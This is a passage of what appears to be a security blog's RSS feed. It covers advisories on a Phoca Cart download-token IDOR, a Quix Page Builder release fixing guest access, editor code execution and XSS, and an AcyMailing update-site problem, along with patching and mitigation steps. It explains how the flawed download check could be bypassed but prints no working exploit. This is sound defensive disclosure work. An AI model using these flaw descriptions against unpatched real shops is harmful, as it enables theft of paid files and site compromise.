&lt;span&gt;&lt;span&gt;        ||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;hash_equals&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)$file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;download_token,&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)$tokenDownload)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        ||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;hash_equals&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)$file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;order_token,&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)$tokenOrder)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the check the old code meant to perform. The only other code change in the release is a loose comparison in the order status handler, which is not security related. If you diff the GitHub tags rather than the packages, you will also see output escaping in the filter layouts. That belongs to 6.1.8: its tag was cut 43 seconds before the commit with the escaping, so the tag compare shows it under 6.1.9. We confirmed both points against the released ZIPs rather than the tags.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What we did and did not test&lt;/p&gt;&lt;div&gt;&lt;p&gt;This is a reading of the released code, not an attack on anyone’s shop. We have not requested a file from any live site, and we are not publishing a working request.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Which Phoca Cart versions are affected?&lt;/h2&gt;
&lt;p&gt;All versions before 6.1.9, on all four branches. Phoca maintains one release line per Joomla version, and only the Joomla 6 line received the fix:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Newest Phoca Cart offered by the updater&lt;/th&gt;&lt;th&gt;Has the download fix?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;6.1.9&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;5.2.4&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;4.0.13&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;3.5.8&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We checked the download function in each of those packages. 5.2.4 and 4.0.13 are identical to 6.1.8, and 3.5.8 has the same empty-token checks. That table comes from &lt;a href=&quot;https://raw.githubusercontent.com/PhocaCz/PhocaCart/master/manifest.xml&quot;&gt;Phoca’s update manifest&lt;/a&gt; as it stood on release day.&lt;/p&gt;
&lt;p&gt;Look twice at the 6.1.8 row, because 6.1.8 was itself a security release. It fixed the price filter cross-site scripting issues (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76564/&quot;&gt;CVE-2026-76564&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76565/&quot;&gt;CVE-2026-76565&lt;/a&gt;) in August, a few days after 6.1.7 fixed the &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;product filter SQL injection&lt;/a&gt;. A shop that did everything right this summer is on 6.1.8 today, and it is exposed. Among the Phoca Cart installs we can see, roughly two in three of the affected ones are on 6.1.8.&lt;/p&gt;
&lt;h2&gt;Joomla 5 shops have to install Phoca Cart 6.1.9 by hand&lt;/h2&gt;
&lt;p&gt;This is the same distribution problem we described with the SQL injection in August. Phoca’s update feed offers each Joomla version one release, matched on a &lt;code&gt;targetplatform&lt;/code&gt; regex, and Joomla discards any offered version that is not higher than the one installed.&lt;/p&gt;
&lt;p&gt;On Joomla 5 that produces two different failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A Joomla 5 site on Phoca Cart 6.x&lt;/strong&gt; is offered 5.2.4, which is lower than what it has. Joomla shows no update at all, and the site looks current while it runs 6.1.8.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A Joomla 5 site on Phoca Cart 5.x&lt;/strong&gt; below 5.2.4 is offered 5.2.4. That release fixed the August SQL injection and does nothing for this flaw, so a site owner can apply the update in good faith and still be exposed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Phoca Cart 6.x installs and runs on Joomla 5, so the fix for both is the same: download &lt;code&gt;pkg_phocacart_v6.1.9.zip&lt;/code&gt; from the &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.9&quot;&gt;6.1.9 release&lt;/a&gt; and install it through Joomla’s extension installer. Take a backup first, as with any jump across a major version.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites we manage, about half of the vulnerable Phoca Cart installs are on Joomla 3, 4 or 5, where the updater will not deliver this fix. Roughly one in ten is on Joomla 3 or 4, where no fixed release exists at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;An empty update list is not proof you are patched&lt;/p&gt;&lt;div&gt;&lt;p&gt;On Joomla 5, Phoca Cart can show no available update while running a vulnerable version. Check the installed version under System, Manage, Extensions and compare it with 6.1.9 by eye.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to do about it on each Joomla version&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Joomla 6:&lt;/strong&gt; update Phoca Cart to 6.1.9 through the normal Joomla updater, then confirm the version number.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 5:&lt;/strong&gt; install &lt;code&gt;pkg_phocacart_v6.1.9.zip&lt;/code&gt; by hand from the &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.9&quot;&gt;GitHub release&lt;/a&gt;. Do not take the 5.2.4 the updater offers as a fix for this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 and Joomla 4:&lt;/strong&gt; there is &lt;a href=&quot;https://joomla3security.com/vendors/phoca/&quot;&gt;no fixed Phoca Cart for your Joomla version&lt;/a&gt;, which fits a pattern we covered in the &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 end-of-life post&lt;/a&gt;: Joomla 3 shop extensions stop getting fixes long before their product pages say so. The lasting fix is to move the site to Joomla 5 or 6 and then to Phoca Cart 6.1.9. Until then, if the shop sells downloads, block requests whose &lt;code&gt;task&lt;/code&gt; is &lt;code&gt;download.download&lt;/code&gt; at your firewall or web server. That stops paying customers downloading too, so send purchased files to buyers another way while it is in place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On any Joomla version:&lt;/strong&gt; if the shop sells downloadable products, assume the files may have been copied. Look in your web server logs for download task requests in volume or from addresses that never bought anything, and expect buyers to report download limits already reached.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A shop that sells only physical goods has no order downloads for this flaw to hand out. Update anyway: the code is installed, and a downloadable product added next year would be exposed from the moment it went on sale.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;See which of your sites are still on Joomla 3 or 4&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru flags vulnerable Phoca Cart installs&lt;/h2&gt;
&lt;p&gt;The awkward part of this release is that the Phoca Cart version alone does not tell you what to do. You need the Joomla version beside it, because that decides whether the updater will help, whether you need the package by hand, or whether there is no fix at all.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps both for each connected Joomla site. We added this flaw to our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerability database&lt;/a&gt; on release day, so every site running Phoca Cart below 6.1.9 is flagged on its dashboard now, with the Joomla version on the same screen. The Joomla 6 sites can then go out in one batch with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt;, which leaves a short list of Joomla 5 shops for the manual package. That works the same way across a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; of any size, and is part of every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why download checks keep failing in shop extensions&lt;/h2&gt;
&lt;p&gt;An IDOR happens when code checks the wrong thing. The code here knew it had to decide whether this visitor was allowed this file, and it had the right ingredients on hand: the stored tokens were loaded in the same query as the file. It tested whether the visitor had sent something, rather than whether what they sent was right.&lt;/p&gt;
&lt;p&gt;It is the same shape as the &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking invoice flaw&lt;/a&gt; we covered in July, where anyone could download any registrant’s invoice by its id. Paid downloads are where this hurts most, because the file is the product. A leaked order number exposes an address; a leaked download hands over the thing the shop exists to sell, at no cost, as many times as the limits allow. When you review any Joomla shop extension, follow the download path first and look for the comparison against stored data. It is the line that most often turns out to be missing.&lt;/p&gt;
&lt;p&gt;Phoca has been quick with fixes this year, with three security releases of Phoca Cart since August. The gap is on the older lines. Of those three, only the August SQL injection fix reached every branch from Joomla 4 up, and this one reached Joomla 6 only. A shop on an older Joomla version gets fewer fixes from each release, and the announcements do not say which lines were left out.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.phoca.cz/news/1522-phoca-cart-version-6-1-9-released-security-release&quot;&gt;Phoca Cart 6.1.9 security release announcement&lt;/a&gt; - Phoca&apos;s own notice, which names the flaw as an IDOR.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.9&quot;&gt;Phoca Cart 6.1.9 on GitHub&lt;/a&gt; - the release with both the component and full package downloads.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raw.githubusercontent.com/PhocaCz/PhocaCart/master/manifest.xml&quot;&gt;Phoca Cart update manifest&lt;/a&gt; - the feed that decides which Phoca Cart each Joomla version is offered.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; - the weakness class Phoca named.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;OWASP: Insecure Direct Object Reference Prevention&lt;/a&gt; - why a record id in a request is never proof of ownership.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>phoca</category><category>vulnerability</category><category>extensions</category><category>idor</category><enclosure url="https://mysites.guru/img/og/blog/phoca-cart-6-1-9-download-idor.png" length="0" type="image/png"/></item><item><title>Quix Page Builder 6.3.4 Fixes Guest Access and Editor Code Execution Flaws</title><link>https://mysites.guru/blog/quix-6-3-4-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/quix-6-3-4-security-release/</guid><description>Quix Page Builder 6.3.4 stops guests changing Quix settings or reading restricted pages, and editors running code on the server. Update every Joomla site.</description><pubDate>Wed, 30 Sep 2026 16:58:09 GMT</pubDate><content:encoded>&lt;p&gt;ThemeXpert released &lt;a href=&quot;https://github.com/themexpert/quix-free/releases/tag/6.3.4&quot;&gt;Quix Page Builder 6.3.4&lt;/a&gt; on 30 September 2026, and its changelog has a Security section with three entries. A visitor who was not logged in could change Quix settings and read pages restricted by access level. An editor could run code on the server. Text taken from Joomla articles could run scripts on Quix pages. Quix is a Joomla extension, not part of Joomla itself, so this affects only sites that have Quix installed.&lt;/p&gt;
&lt;p&gt;This is the fifth Quix security release since the middle of July, and the numbers from the Quix sites mySites.guru monitors say that most of them have not installed any of the other four. If you run Quix anywhere, update to 6.3.4, and read on for why the sites furthest behind need more than one update.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quix 6.3.4&lt;/strong&gt; fixes guest access to Quix settings and restricted pages, code execution by editors, and script injection from Joomla article text. It also hardens pasted images, image resizing and the bundled JMedia media manager&lt;/li&gt;
&lt;li&gt;ThemeXpert gives &lt;strong&gt;no affected range, no severity and no CVE&lt;/strong&gt;. Treat every version below 6.3.4 as affected&lt;/li&gt;
&lt;li&gt;It is the &lt;strong&gt;fifth Quix security release in eleven weeks&lt;/strong&gt;, after 6.2.1, 6.2.2, 6.2.4 and 6.2.7&lt;/li&gt;
&lt;li&gt;Across the Quix sites mySites.guru monitors, &lt;strong&gt;more than half are still below 6.2.2&lt;/strong&gt;, so they also miss the July fix for an unauthenticated SQL injection&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site below 6.3.4 from the day of the release&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What the Quix 6.3.4 changelog says&lt;/h2&gt;
&lt;p&gt;The release notes on GitHub and the &lt;a href=&quot;https://github.com/themexpert/quix-free/blob/main/changelog.xml&quot;&gt;changelog.xml&lt;/a&gt; that Joomla’s update screen links to have the same three security entries, word for word:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“Pages: editors can no longer run code on the server, and guests can no longer change Quix settings or read access-restricted pages.”&lt;/li&gt;
&lt;li&gt;“Joomla Content: text from articles, including titles and categories, can no longer run scripts on Quix pages.”&lt;/li&gt;
&lt;li&gt;“Media: pasted images, image resizing and the bundled JMedia media manager are hardened.”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rest of the release is ordinary maintenance: forms displaying on Joomla 4 again, builder errors when JCE is the default editor, and icons now stored on your own site instead of being fetched from getquix.net. One version ships for Joomla 3.10, 4, 5 and 6, so there is no second release line to track.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Read from the changelog, not the code&lt;/p&gt;&lt;div&gt;&lt;p&gt;ThemeXpert’s public GitHub repository holds release notes and update metadata, not source code, and we have not diffed the 6.3.4 package. What follows reads the vendor’s wording for what it means on a site. We have not reproduced the flaws.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What each Quix 6.3.4 fix means for a Joomla site&lt;/h2&gt;
&lt;h3&gt;Guests could change Quix settings and read restricted pages&lt;/h3&gt;
&lt;p&gt;In Joomla terms a guest is anyone who is not logged in, so this is the entry that matters most: it needed no account. Changing Quix settings from outside is an integrity problem with no obvious ceiling, because the settings decide how Quix loads and renders every page it builds. Reading “access-restricted pages” means a Quix page set to Registered, or to a custom access level for members or clients, could be read by an anonymous visitor.&lt;/p&gt;
&lt;p&gt;If you use Joomla access levels to keep Quix pages private (a client area, a members’ price list, a staff page) assume their contents could have been read until the site was updated.&lt;/p&gt;
&lt;h3&gt;Editors could run code on the server&lt;/h3&gt;
&lt;p&gt;The changelog does not say which editors, but in a page builder that means an account allowed to build or edit Quix pages, which on most agency sites is more people than just the Super Users. Code execution on the server is the most serious class of flaw a Joomla extension can have, and editor accounts are the ones that get phished or reused.&lt;/p&gt;
&lt;p&gt;It is also the second time. The &lt;a href=&quot;https://github.com/themexpert/quix-free/blob/main/changelog.xml&quot;&gt;6.2.1 changelog&lt;/a&gt; in July fixed “a code-execution path via the Raw HTML element”, one of the issues &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;we reported to ThemeXpert&lt;/a&gt; and tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60026/&quot;&gt;CVE-2026-60026&lt;/a&gt;. Whether 6.3.4 closes a different path or a gap in that fix, ThemeXpert does not say.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Joomla article text could run scripts on Quix pages&lt;/h3&gt;
&lt;p&gt;Quix has elements that pull in Joomla articles, and the changelog says their titles, categories and text reached the Quix page without being escaped. That makes it stored cross-site scripting: whoever can write an article, including a front-end author on a site that allows one, could place a script that runs for every visitor to the Quix page showing that article, and for any administrator who views it while logged in.&lt;/p&gt;
&lt;h3&gt;Media handling was hardened&lt;/h3&gt;
&lt;p&gt;“Hardened” is vendor language for something that was not safe enough, with no detail given. It covers pasted images, image resizing and JMedia, the media manager Quix bundles. JMedia had three flaws of its own fixed in July, including a file upload that led to code execution (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60032/&quot;&gt;CVE-2026-60032&lt;/a&gt;), so this is another area that has needed work more than once.&lt;/p&gt;
&lt;h2&gt;Five Quix security releases in eleven weeks&lt;/h2&gt;
&lt;p&gt;ThemeXpert’s own changelog puts a Security section on five releases since mid-July. Quix 6.2.0, released just before our July report, described itself as a completed full security audit.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Release&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What the Security section fixed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;6.2.1&lt;/td&gt;&lt;td&gt;15 July 2026&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection, Raw HTML code execution, form path traversal, icon XSS, media manager permission, JMedia upload and SSRF&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.2.2&lt;/td&gt;&lt;td&gt;16 July 2026&lt;/td&gt;&lt;td&gt;The unsanitised CSS ID and Class fields&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.2.4&lt;/td&gt;&lt;td&gt;26 July 2026&lt;/td&gt;&lt;td&gt;Unauthenticated page creation with a bare CSRF token, missing permission checks on collections, a guessable login cookie&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.2.7&lt;/td&gt;&lt;td&gt;18 August 2026&lt;/td&gt;&lt;td&gt;SQL injection in the Joomla Articles element, unauthorised session and cookie changes, bundled libraries&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.3.4&lt;/td&gt;&lt;td&gt;30 September 2026&lt;/td&gt;&lt;td&gt;Guest access to settings and restricted pages, editor code execution, article text XSS, media&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;ThemeXpert writes clearer changelogs than most Joomla vendors and names the flaw class in plain words. Read together, though, several of these releases fix the same kind of mistake: who is allowed to do what. Unauthenticated page creation in 6.2.4, unauthorised session changes in 6.2.7 and guest settings changes in 6.3.4 are all permission checks that were missing. A page builder exposes a lot of AJAX endpoints to the front end, and &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;each one is a place to forget a permission check&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How far behind are Quix sites?&lt;/h2&gt;
&lt;p&gt;Among the Joomla sites in the mySites.guru database that run Quix and took a snapshot in the 30 days to 30 September 2026:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Installed Quix version&lt;/th&gt;&lt;th&gt;Share of sites&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Below 6.2.2&lt;/td&gt;&lt;td&gt;52%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.2.2 to 6.2.6&lt;/td&gt;&lt;td&gt;9%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.2.7 to 6.3.3&lt;/td&gt;&lt;td&gt;39%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;More than half have not installed 6.2.2, which means they still have the unauthenticated SQL injection we reported in July, which lets an anonymous visitor read the site’s database. About half of all Quix sites run Quix 5 or older, and Quix 2.x alone accounts for a third of all Quix sites. All the Security sections in ThemeXpert’s changelog belong to Quix 6 releases, so those sites have to get onto Quix 6 before 6.3.4 means anything to them. Try that on a copy of the site first: a jump of several major versions is not a routine update.&lt;/p&gt;
&lt;p&gt;The 39% on 6.2.7 or later are the easy case: one update to 6.3.4 and they are current. The other 61% need 6.3.4 for this release and pick up the July and August fixes in the same step.&lt;/p&gt;
&lt;h2&gt;Which of your sites need Quix 6.3.4?&lt;/h2&gt;
&lt;p&gt;mySites.guru records the installed version of every extension on every connected Joomla site twice a day. The Quix rule for versions below 6.3.4 went live on the day of the release, so affected sites are flagged on their dashboards and in their audits, and the &lt;a href=&quot;https://mysites.guru/vulnerabilities/quix/&quot;&gt;Quix page of our vulnerability list&lt;/a&gt; shows it alongside the two earlier Quix rules. A site below 6.2.7 is flagged by the older Quix rules instead, whose warnings describe the earlier flaws, and updating it to 6.3.4 clears all of them.&lt;/p&gt;
&lt;p&gt;From there, &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;update the flagged sites from one dashboard&lt;/a&gt; rather than logging into each administrator in turn, or let &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic extension updates&lt;/a&gt; install Quix releases as they come out, which with five security releases in eleven weeks is the setting that would have kept a site current without anyone watching. The &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; puts Quix alongside the other flagged extensions on your sites.&lt;/p&gt;
&lt;h2&gt;What to check after updating Quix&lt;/h2&gt;
&lt;p&gt;Updating closes the holes. It does not remove anything that got in first. On a site that ran an affected version, work through these:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;List the accounts that can build or edit Quix pages and remove any you do not recognise. An unfamiliar Super User is the clearest sign of a successful code execution.&lt;/li&gt;
&lt;li&gt;Open Quix’s global options and check them against what you set, because guests could change them.&lt;/li&gt;
&lt;li&gt;Look at the compiled page files. In the Quix code we audited in July, pages are compiled to PHP files under &lt;code&gt;media/quixnxt/storage/&lt;/code&gt;. A file there that does not belong to one of your pages, or that contains more than template output, needs a closer look.&lt;/li&gt;
&lt;li&gt;On a site with front-end authors, check recently edited articles that appear on Quix pages for &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags or event handlers in the title or text.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find Super User accounts you did not create&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The same audit checks for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt; and PHP files in folders that should only hold media, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you when a file changes or an unfamiliar administrator logs in. If you find something you did not put there, treat the site as compromised: &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt; sets out the order of work, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; will clean it up for a single fixed fee.&lt;/p&gt;
&lt;h2&gt;What we would like from ThemeXpert&lt;/h2&gt;
&lt;p&gt;A CVE with an affected range and a severity would let other scanners flag these sites too. Earlier Quix fixes got their CVEs from the Joomla CNA days after release, so these may follow, and we will add them to the rule when they do. Until then, the changelog is all anyone has, and the only safe reading of it is “all versions below 6.3.4”.&lt;/p&gt;
&lt;p&gt;If you look after more than a handful of Joomla sites, the Quix history since July is the argument for checking installed versions continuously rather than when a vendor sends an email. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See what mySites.guru costs&lt;/a&gt; for the number of sites you manage.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/themexpert/quix-free/releases/tag/6.3.4&quot;&gt;Quix 6.3.4 release on GitHub&lt;/a&gt; - ThemeXpert&apos;s release notes, published 30 September 2026&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/themexpert/quix-free/blob/main/changelog.xml&quot;&gt;Quix changelog.xml&lt;/a&gt; - the full Quix release history, with a Security section on each release from 6.2.0 on&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/quix/&quot;&gt;Quix Page Builder on the Joomla Extensions Directory&lt;/a&gt; - the listing, reviews and supported Joomla versions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Unauthenticated SQL Injection in Quix Page Builder&lt;/a&gt; - the seven issues we reported in July, fixed in 6.2.1 and 6.2.2&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>quix</category><category>vulnerability</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/quix-6-3-4-security-release.png" length="0" type="image/png"/></item><item><title>AcyMailing Shoots Itself in the Foot With a Vanishing Update Site</title><link>https://mysites.guru/blog/acymailing-update-site-disappears/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-update-site-disappears/</guid><description>Up to 11.1.0, AcyMailing added its Joomla update site from PHP, so Rebuild deleted it and Joomla called vulnerable sites up to date. 11.1.1 fixes it.</description><pubDate>Wed, 30 Sep 2026 16:18:22 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing 11.1.0&lt;/a&gt; went out on 24 September 2026 with two security fixes, and two days later the Joomla CNA gave them CVE numbers: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt;, a 9.5 Critical file write through mailbox actions, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt;, a file deletion rated 8.3 High. We covered both in &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;our 11.1.0 post&lt;/a&gt;. Since then a proof-of-concept for the first one has been published on GitHub, so updating is no longer a job for next week.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 7 October: AcyMailing 11.1.1 fixes it&lt;/p&gt;&lt;div&gt;&lt;p&gt;Acyba released &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing 11.1.1&lt;/a&gt; on 5 October. We opened the Starter and Enterprise packages: both now declare the update server in &lt;code&gt;pkg_acymailing.xml&lt;/code&gt;, and the install script adds the licence key to the update site Joomla creates instead of deleting and reinserting its own. Joomla’s Rebuild keeps that key, so on 11.1.1 a Rebuild leaves a working update site behind. Two smaller gaps remain, covered in &lt;a href=&quot;#what-acymailing-1111-changes&quot;&gt;what AcyMailing 11.1.1 changes&lt;/a&gt;. A site that has already lost its update site will not hear about 11.1.1, so it needs one last install over the top.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 2 October: reported on Acyba&apos;s own forum since 2019&lt;/p&gt;&lt;div&gt;&lt;p&gt;Acyba’s latest reply says the update mechanism “worked as expected for years” and that “until recently it had not been reported to us as a problem”. Its own forum says otherwise: users have reported missing AcyMailing updates and update sites there since July 2019, and in January 2023 two posts said Rebuild had removed every AcyMailing entry. The forum moderators’ answer each time was to reinstall. The threads are listed in &lt;a href=&quot;#reported-on-acybas-forum-since-2019&quot;&gt;reported on Acyba’s forum since 2019&lt;/a&gt; below. Acyba also confirmed the fix will declare the update server in the manifest and ship in the coming days.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
